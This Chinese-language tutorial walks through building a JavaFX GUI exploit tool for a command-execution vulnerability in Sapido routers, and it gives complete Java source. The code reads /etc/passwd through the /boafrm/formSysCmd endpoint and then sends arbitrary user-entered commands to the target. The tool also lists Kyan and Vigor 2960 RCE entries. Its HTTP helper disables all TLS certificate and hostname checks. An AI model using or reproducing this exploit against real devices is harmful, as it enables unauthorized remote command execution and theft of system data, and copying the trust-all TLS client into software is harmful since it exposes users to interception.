上一节介绍了HTTP以及HTTPS请求,那么这里我们就接着讲解事件与请求联动。
关于POC以及EXP最大的区别就是,EXP是附带利用功能,而POC仅仅是检测功能,所以这里我们需要动起来,GUI小工具能用上的事件功能其实就两个,一个是下拉列表的事件,一个是按钮点击事件,我们接着看
首先新增一个Sapido的类,用来默认测试命令执行漏洞,默认执行查看/etc/passwd命令,这里面其实可以写活的,用我上次讲的,给他接一个形参cmd用来接收命令参数,然后在检测的时候给他一个默认值,利用的时候重新调用这个方法,再给他一个新的实参,就可以达到我们的预期效果,但是没有太大的必要,这里为了方便我们的讲解,我们先这么写,然后在执行我们想要的命令的时候我会给大家介绍,如何把这个参数写活
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;import java.net.URL;public class Sapido {public static String Sapido(String target) throws Exception {URL url = new URL(target); //new一下urlString cmd_res = HttpRequest.http_post(url + "/boafrm/formSysCmd", "sysCmd=cat+/etc/passwd&apply=Apply&submit-url=/syscmd.htm&msg="); //调用Http_Post请求,这里直接将参数写死了,执行查看passwd文件命令,其实这里可以写活,就是引用一个活的参数,一会在外面会介绍,这里先写死Document doc = Jsoup.parse(cmd_res); //调用一下Jsoup库的parse方法,因为返回包格式是html表单,我们只需要取表单的某一个参数值Elements rows = doc.select("textarea[name=msg]"); //我们截取html表单textarea,名字msg的值,为什么是这个值,大家抓包看一下就知道了String tim = rows.text(); //转换一下格式类型return "执行结果如下:" + "\n" + tim; //return一下}
}
我们返回我们的框架GUIDemo.java,我们需要新增如下代码
final String[] name = {null}; //用来对接下拉列表的值//设置下拉列表监听事件choiceBox.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener() {public void changed(ObservableValue ov, Number value, Number new_value) {String ChoiceBox_Name = strings[new_value.intValue()]; //做一个变量接一下下拉列表的值textArea1.setText(strings[new_value.intValue()]); //纯偷窥一下接受到的值name[0] = ChoiceBox_Name; //赋值}});//添加按钮功能button.setOnAction(event -> {String url = textArea.getText(); //接收urlboolean sapido = name[0].equalsIgnoreCase("Sapido RCE"); //直接用布尔类型对比参数是否与下拉列表的值相同if (sapido) {try {String sapidotext = Sapido.Sapido(url); //调用Sapido类,将返回结果赋值给sapidotext变量textArea1.setText(sapidotext); //将sapidotext变量的值返回给textArea1button1.setOnAction(event1 -> {});} catch (Exception e) {textArea1.setText("未发现漏洞,或请求异常");}}else {textArea1.setText("未发现漏洞,或请求异常");}});
我们看一下漏洞检测效果
此时已经完成了POC的玩法,我们接下来实现EXP功能,自定义命令输入,其实就是在检测成功的基础上增加一个按钮功能,没错,就是执行按钮的功能
if (sapido) {try {String sapidotext = Sapido.Sapido(url); //调用Sapido类,将返回结果赋值给sapidotext变量textArea1.setText(sapidotext); //将sapidotext变量的值返回给textArea1button1.setOnAction(event1 -> {String cmd = textArea2.getText(); //接收textArea2的命令String command = String.format("sysCmd=%s&apply=Apply&submit-url=/syscmd.htm&msg=", cmd); //字符串替换命令try {String Run = HttpRequest.http_post(url + "/boafrm/formSysCmd", command); //调用一下Document doc = Jsoup.parse(Run);Elements rows = doc.select("textarea[name=msg]");String tim = rows.text();textArea1.setText(sapidotext + "\n" + "执行结果如下:" + "\n" + tim);} catch (Exception e) {throw new RuntimeException(e);}});
我们看一下执行效果
肥畅nice,我们打包一下,爽一把
完整代码
GuiDemo.java
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.control.ChoiceBox;
import javafx.scene.control.Label;
import javafx.scene.control.TextArea;
import javafx.scene.image.Image;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;public class GuiDemo extends Application { //创建一个GuiDemo类,GuiDemo继承Application类public void start(Stage GuiDemo) { //创建一个无返回的start方法,Stage GuiDemo是JAVAFX里面的一个属性//设置titleGuiDemo.setTitle("GUI小DEMO by:vlan911 "); //设置小工具的标题GuiDemo.setMaxWidth(700); //设置小工具的最大宽度GuiDemo.setMaxHeight(500); //设置小工具的最大高度//设置iconGuiDemo.getIcons().add(new Image("22.jpg")); //设置GUI的小图标,图标需要放在classes目录下或是网上的在线图片//添加URL文字提示Label l = new Label("请输入URL"); //设置一个lable,用来显示提示文字l.setLayoutX(5); //设置lable的横坐标l.setLayoutY(10); //设置lable的纵坐标l.setPrefWidth(70); //设置lable的宽度l.setPrefHeight(20); //设置lable的高度//添加URL文本框TextArea textArea = new TextArea(); //添加一哥文本框,用来接收URLtextArea.setLayoutX(75); //设置文本框的横坐标textArea.setLayoutY(5); //设置文本框的纵坐标textArea.setPrefWidth(220); //设置文本框的宽度textArea.setPrefHeight(20); //设置文本框的高度//添加下拉按钮String strings[] = {"Kyan RCE", "Sapido RCE", "Vigor 2960 RCE"}; //添加一个字符串数组ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(strings)); //添加一个下拉列表,内容就是上面的字符串数组choiceBox.setLayoutX(315); //设置下拉列表的横坐标choiceBox.setLayoutY(10); //设置下拉列表的纵坐标choiceBox.setPrefHeight(20); //设置下拉列表的高度choiceBox.setPrefWidth(70); //设置下拉列表的宽度//添加确定按钮Button button = new Button("确定"); //添加一个按钮button.setLayoutX(405); //设置按钮的横坐标button.setLayoutY(10); //设置按钮的纵坐标button.setPrefHeight(20); //设置按钮的高度button.setPrefWidth(50); //设置按钮的宽度//添加回显文本框TextArea textArea1 = new TextArea(); //添加一个回显文本框textArea1.setLayoutX(5); //设置文本框的横坐标textArea1.setLayoutY(100); //设置文本框的纵坐标textArea1.setPrefHeight(300); //设置文本框的高度textArea1.setPrefWidth(500); //设置文本框的宽度textArea1.setWrapText(true); //设置文本框里的文字自动换行textArea1.setText("Kyan信息泄露漏洞\n" +"Kyan命令注入漏洞\n" +"Sapido命令执行漏洞\n" +"Vigor 2960命令执行\n" +"博华网龙RCE\n" +"西迪特WirelessRCE");//添加执行命令文字提示Label l1 = new Label("请输入命令");l1.setLayoutX(5);l1.setLayoutY(62);l1.setPrefWidth(70);l1.setPrefHeight(20);//添加命令文本框TextArea textArea2 = new TextArea();textArea2.setLayoutX(75);textArea2.setLayoutY(55);textArea2.setPrefHeight(20);textArea2.setPrefWidth(220);//添加执行按钮Button button1 = new Button("执行");button1.setLayoutX(315);button1.setLayoutY(62);button1.setPrefHeight(20);button1.setPrefWidth(50);textArea2.setText("请输入命令...");//添加一个pane,用来装填按钮等插件AnchorPane anchorPane = new AnchorPane(); //添加一个pane,用来装后面的小插件anchorPane.getChildren().addAll(textArea, choiceBox, button, l, textArea1, textArea2, l1, button1); //调用getChildren方法的addAll方法,写死就行,括号里的就是我们添加的插件名字Scene scene = new Scene(anchorPane, 600, 700); //社子和Pane的默认宽度、高度,不能超过设置的窗口临界值GuiDemo.setScene(scene); //把窗口的属性填进去GuiDemo.show(); //显示窗口,否则运行的话是没有东西的final String[] name = {null}; //用来对接下拉列表的值//设置下拉列表监听事件choiceBox.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener() {public void changed(ObservableValue ov, Number value, Number new_value) {String ChoiceBox_Name = strings[new_value.intValue()]; //做一个变量接一下下拉列表的值textArea1.setText(strings[new_value.intValue()]); //纯偷窥一下接受到的值name[0] = ChoiceBox_Name; //赋值}});//添加按钮功能button.setOnAction(event -> {String url = textArea.getText(); //接收urlboolean sapido = name[0].equalsIgnoreCase("Sapido RCE"); //直接用布尔类型对比参数是否与下拉列表的值相同if (sapido) {try {String sapidotext = Sapido.Sapido(url); //调用Sapido类,将返回结果赋值给sapidotext变量textArea1.setText(sapidotext); //将sapidotext变量的值返回给textArea1button1.setOnAction(event1 -> {String cmd = textArea2.getText(); //接收textArea2的命令String command = String.format("sysCmd=%s&apply=Apply&submit-url=/syscmd.htm&msg=", cmd); //字符串替换命令try {String Run = HttpRequest.http_post(url + "/boafrm/formSysCmd", command); //调用一下Document doc = Jsoup.parse(Run);Elements rows = doc.select("textarea[name=msg]");String tim = rows.text();textArea1.setText(sapidotext + "\n" + "执行结果如下:" + "\n" + tim);} catch (Exception e) {throw new RuntimeException(e);}});} catch (Exception e) {textArea1.setText("未发现漏洞,或请求异常");}}else {textArea1.setText("未发现漏洞,或请求异常");}});}public static void main(String[] args) {launch(args);}
}
HttpRequest.java
import okhttp3.*;import javax.net.ssl.*;
import java.net.URL;public class HttpRequest {//第一个方法是用来跳过证书校验环节的,是我copy过来的public static OkHttpClient getUnsafeOkHttpClient() {try {final TrustManager[] trustAllCerts = new TrustManager[]{new X509TrustManager() {@Overridepublic void checkClientTrusted(java.security.cert.X509Certificate[] chain, String authType) {}@Overridepublic void checkServerTrusted(java.security.cert.X509Certificate[] chain, String authType) {}@Overridepublic java.security.cert.X509Certificate[] getAcceptedIssuers() {return new java.security.cert.X509Certificate[]{};}}};final SSLContext sslContext = SSLContext.getInstance("SSL");sslContext.init(null, trustAllCerts, new java.security.SecureRandom());final javax.net.ssl.SSLSocketFactory sslSocketFactory = sslContext.getSocketFactory();OkHttpClient.Builder builder = new OkHttpClient.Builder();builder.sslSocketFactory(sslSocketFactory);builder.hostnameVerifier(new HostnameVerifier() {@Overridepublic boolean verify(String hostname, SSLSession session) {return true;}});return builder.build();} catch (Exception e) {throw new RuntimeException(e);}}//因为更改了玩法,所以需要分开写post请求和get请求,这里的post请求我给他两个参数,// 分别是请求地址requestUrl以及请求body体outputStr,大家可以根据自己的实际需求增加,比如增加一个cookie,在get请求里会介绍public static String http_post(String requestUrl, String outputStr) throws Exception {//首先给一个全局变量resquestbody,用来接收返回结果String resquestbody = "";try {//实例化URL,给requestUrl赋给url参数URL url = new URL(requestUrl);//这里和第61行可以写一块,这么写仅仅是为了美观Request request = null;//这个与第63行可以写一块,这么写仅仅是为了美观RequestBody requestBody;//与StringBuilder有异曲同工之处,只可意会不可言传Request.Builder builder = new Request.Builder();//将请求的包加载进去,加载的时候必须跟上content-type属性requestBody = RequestBody.create(MediaType.parse("application/x-www-form-urlencoded"), outputStr);//这里面用的其实是httpok的request方法,builder.get()并不是说是get请求,而是用来获取里面的参数/** url(url) 获取URL* post(requestBody) post方法,获取方法体* addHeader("Cookie", "PHPSESSID=d383f6ut2i84pjsmmu2oceba16;") 添加一个cookie* */request = builder.get().url(url).post(requestBody).addHeader("Cookie", "PHPSESSID=d383f6ut2i84pjsmmu2oceba16;").build();//OkHttpClient okHttpClient = new OkHttpClient();//注意,这里 是关键,不用这个https的依然会报错OkHttpClient okHttpClient = getUnsafeOkHttpClient();Response response;try {//接收请求,没什么可说的response = okHttpClient.newCall(request).execute();//System.out.println(response.body().string());assert response.body() != null;//获取返回包的包体,和python挺像的,这里需要使用string()方法resquestbody = resquestbody + response.body().string();} catch (Exception e) {//log.error("发送同步-get请求发生异常:url={} ", e.fillInStackTrace());//System.out.println(e.getMessage());//如果执行出错了,会打印异常日志,他和上面的是一起的,如果try里的全执行了就不会跑到这,// 如果try里面执行了一半挂了,依然会跑到这。感兴趣的小伙伴可以自己试验一下resquestbody = e.getMessage();}} catch (Exception e) {e.printStackTrace();}// System.out.println(resquestbody);return resquestbody;}//为了方便演示,这里面给大家引入了一个新的session,其实就是如果我想把参数灵活起来用,应该怎么玩public static String http_get(String requestUrl, String session) throws Exception {//依然是先给一个全局变量String resquestbody = "";try {//实例化一个新的urlURL url = new URL(requestUrl);Request request = null;Request.Builder builder = new Request.Builder();//老生常谈了,没啥可说的,cookie直接从局部变量接收就行,因为他是一个字符串,直接用也行request = builder.get().url(url).get().addHeader("Cookie", session).build();//OkHttpClient okHttpClient = new OkHttpClient();OkHttpClient okHttpClient = getUnsafeOkHttpClient();Response response;try {response = okHttpClient.newCall(request).execute();assert response.body() != null;resquestbody = resquestbody + response.body().string();//System.out.println(resquestbody);} catch (Exception e) {//log.error("发送同步-get请求发生异常:url={} ", e.fillInStackTrace());resquestbody = e.getMessage();}} catch (Exception e) {e.printStackTrace();}System.out.println(resquestbody);return resquestbody;}}
Sapido.java
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;import java.net.URL;public class Sapido {public static String Sapido(String target) throws Exception {URL url = new URL(target); //new一下urlString cmd_res = HttpRequest.http_post(url + "/boafrm/formSysCmd", "sysCmd=cat+/etc/passwd&apply=Apply&submit-url=/syscmd.htm&msg="); //调用Http_Post请求,这里直接将参数写死了,执行查看passwd文件命令,其实这里可以写活,就是引用一个活的参数,一会在外面会介绍,这里先写死Document doc = Jsoup.parse(cmd_res); //调用一下Jsoup库的parse方法,因为返回包格式是html表单,我们只需要取表单的某一个参数值Elements rows = doc.select("textarea[name=msg]"); //我们截取html表单textarea,名字msg的值,为什么是这个值,大家抓包看一下就知道了String tim = rows.text(); //转换一下格式类型return "执行结果如下:" + "\n" + tim; //return一下}
}
router.java
public class router {public static void main(String[] args) {GuiDemo.main(args);}}
pom.xml
4.0.0 org.example newrouter 1.0-SNAPSHOT 8 8 UTF-8 com.alibaba fastjson 1.2.83 org.jsoup jsoup 1.15.3 com.squareup.okio okio 1.16.0 org.slf4j slf4j-api 1.7.25 org.slf4j slf4j-simple 2.0.3 compile org.slf4j slf4j-nop 1.7.30 com.squareup.okhttp3 okhttp 4.9.3 com.squareup.okhttp3 okhttp 3.10.0 com.squareup.okio okio 1.13.0 org.example newrouter 1.0-SNAPSHOT org.openjfx javafx-web 17.0.2
完整代码结构截图
打包截图
完结了